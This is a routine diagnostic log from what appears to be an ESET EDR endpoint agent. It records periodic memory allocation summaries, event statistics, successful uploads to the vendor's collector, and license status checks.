2026-03-04 07:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1659 KB; ModuleMetadata: 589 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 526 KB; BaseEvent: 183 KB; rules::ProcessConditionsCache: 153 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 47 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66021 KB;
2026-03-04 07:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2069 KB; TcpIpConnectionsManager: 594 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 369 KB; rules::ProcessConditionsCache: 240 KB; ModuleInfoCache: 111 KB; BatchSerializer::EventsQueueTag: 98 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66787 KB;
2026-03-04 07:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2432 KB; TcpIpConnectionsManager: 609 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; rules::ProcessConditionsCache: 188 KB; BatchSerializer::EventsQueueTag: 146 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67332 KB;
2026-03-04 07:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2792 KB; BaseEvent: 727 KB; ModuleMetadata: 589 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 498 KB; BatchSerializer::EventsQueueTag: 193 KB; rules::ProcessConditionsCache: 167 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67848 KB;
2026-03-04 07:57:58 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:53:54, To:, 2026-03-04 07:57:58, Duration (s):, 244, Events Per Second:, 16.941, Events:, 4135, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3438, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 696, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460225
2026-03-04 07:57:59 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s557ms.
2026-03-04 07:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 07:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:58:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 07:58:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 07:58:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 07:58:26 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 07:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1677 KB; ModuleMetadata: 589 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; BaseEvent: 171 KB; rules::ProcessConditionsCache: 156 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 45 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66001 KB;
2026-03-04 07:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2038 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 517 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; BaseEvent: 353 KB; rules::ProcessConditionsCache: 139 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 93 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66538 KB;
2026-03-04 08:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2413 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 534 KB; TcpIpConnectionsManager: 514 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; rules::ProcessConditionsCache: 143 KB; BatchSerializer::EventsQueueTag: 141 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67147 KB;
2026-03-04 08:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2773 KB; BaseEvent: 708 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; BatchSerializer::EventsQueueTag: 186 KB; rules::ProcessConditionsCache: 154 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67752 KB;
2026-03-04 08:02:06 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 07:57:57, To:, 2026-03-04 08:02:06, Duration (s):, 249, Events Per Second:, 16.489, Events:, 4108, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3389, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 718, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457431
2026-03-04 08:02:07 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s434ms.
2026-03-04 08:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1617 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; rules::ProcessConditionsCache: 188 KB; BaseEvent: 148 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 39 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 11 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65948 KB;
2026-03-04 08:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 08:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:03:27 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 08:03:27 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 08:03:27 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 08:03:27 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 08:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1976 KB; ModuleMetadata: 589 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; BaseEvent: 331 KB; rules::ProcessConditionsCache: 120 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 87 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66474 KB;
2026-03-04 08:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2338 KB; ModuleMetadata: 589 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; BaseEvent: 511 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BatchSerializer::EventsQueueTag: 134 KB; ModuleInfoCache: 111 KB; rules::ProcessConditionsCache: 107 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67038 KB;
2026-03-04 08:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2723 KB; BaseEvent: 695 KB; ModuleMetadata: 589 KB; TcpIpConnectionsManager: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BatchSerializer::EventsQueueTag: 183 KB; rules::ProcessConditionsCache: 129 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67704 KB;
2026-03-04 08:06:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:02:05, To:, 2026-03-04 08:06:10, Duration (s):, 245, Events Per Second:, 16.742, Events:, 4108, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3400, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 707, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457628
2026-03-04 08:06:11 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s366ms.
2026-03-04 08:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1587 KB; ModuleMetadata: 589 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; rules::ProcessConditionsCache: 175 KB; BaseEvent: 138 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; BatchSerializer::EventsQueueTag: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 65921 KB;
2026-03-04 08:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1925 KB; ModuleMetadata: 589 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; BaseEvent: 310 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 82 KB; rules::ProcessConditionsCache: 76 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66345 KB;
2026-03-04 08:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 08:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:08:27 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 08:08:27 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 08:08:27 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 08:08:27 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 08:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2261 KB; ModuleMetadata: 590 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; BaseEvent: 476 KB; BatchSerializer::EventsQueueTag: 125 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::ProcessConditionsCache: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66824 KB;
2026-03-04 08:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2668 KB; BaseEvent: 663 KB; ModuleMetadata: 590 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; TcpIpConnectionsManager: 521 KB; BatchSerializer::EventsQueueTag: 177 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 39 KB; rules::ProcessConditionsCache: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67497 KB;
2026-03-04 08:10:18 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:06:09, To:, 2026-03-04 08:10:18, Duration (s):, 249, Events Per Second:, 16.561, Events:, 4127, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3427, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 697, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460973
2026-03-04 08:10:19 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s381ms.
2026-03-04 08:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1486 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; TcpIpConnectionsManager: 498 KB; rules::ProcessConditionsCache: 409 KB; ModuleInfoCache: 111 KB; BaseEvent: 103 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65973 KB;
2026-03-04 08:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1884 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; BaseEvent: 285 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 76 KB; rules::ProcessConditionsCache: 44 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66267 KB;
2026-03-04 08:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2256 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; BaseEvent: 470 KB; BatchSerializer::EventsQueueTag: 125 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; rules::ProcessConditionsCache: 46 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66875 KB;
2026-03-04 08:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 08:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:13:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 08:13:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 08:13:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 08:13:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 08:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2618 KB; BaseEvent: 653 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BatchSerializer::EventsQueueTag: 172 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; rules::ProcessConditionsCache: 43 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67473 KB;
2026-03-04 08:14:27 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:10:17, To:, 2026-03-04 08:14:26, Duration (s):, 249, Events Per Second:, 16.513, Events:, 4126, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3414, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 709, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459814
2026-03-04 08:14:28 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s408ms.
2026-03-04 08:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1477 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BaseEvent: 92 KB; cloudutils::CloudData: 40 KB; rules::ProcessConditionsCache: 27 KB; BatchSerializer::EventsQueueTag: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65581 KB;
2026-03-04 08:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1844 KB; ModuleMetadata: 592 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; BaseEvent: 275 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; BatchSerializer::EventsQueueTag: 72 KB; cloudutils::CloudData: 40 KB; rules::ProcessConditionsCache: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66154 KB;
2026-03-04 08:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2229 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; BaseEvent: 464 KB; BatchSerializer::EventsQueueTag: 121 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 20 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66803 KB;
2026-03-04 08:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2593 KB; BaseEvent: 645 KB; ModuleMetadata: 592 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; BatchSerializer::EventsQueueTag: 169 KB; ModuleInfoCache: 111 KB; CacheEntry: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; rules::ProcessConditionsCache: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67370 KB;
2026-03-04 08:18:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 08:14:26, To:, 2026-03-04 08:18:26, Duration (s):, 240, Events Per Second:, 16.915, Events:, 4061, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3364, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 696, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453266
2026-03-04 08:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 08:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 08:18:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s415ms.
2026-03-04 08:18:28 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
